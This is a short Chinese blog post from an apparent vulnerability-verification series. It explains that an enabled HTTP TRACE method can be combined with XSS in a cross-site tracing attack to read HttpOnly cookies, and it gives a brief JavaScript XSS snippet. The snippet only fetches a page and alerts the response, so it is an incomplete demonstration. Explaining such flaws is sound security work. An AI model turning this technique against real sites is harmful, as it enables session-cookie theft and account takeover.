漏洞验证系列

  • 2018-07-23
  • 19
  • 0
  1. HTTP TRACE / TRACK Methods Allowed

    该漏洞是服务器开启了HTTP TRACE方法,该方法用于调试HTTP。可以结合xss漏洞形成XST攻击(主要是为了获取到被HTTP ONLY标识的COOKIE)如下图:
    漏洞利用xss代码:
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open(“GET”,”http://xrone.cn/”,false);
    xmlHttp.send();
    xmlDoc = xmlHttp.responseText;
    alert(xmlDoc);

评论

还没有任何评论,你来说两句吧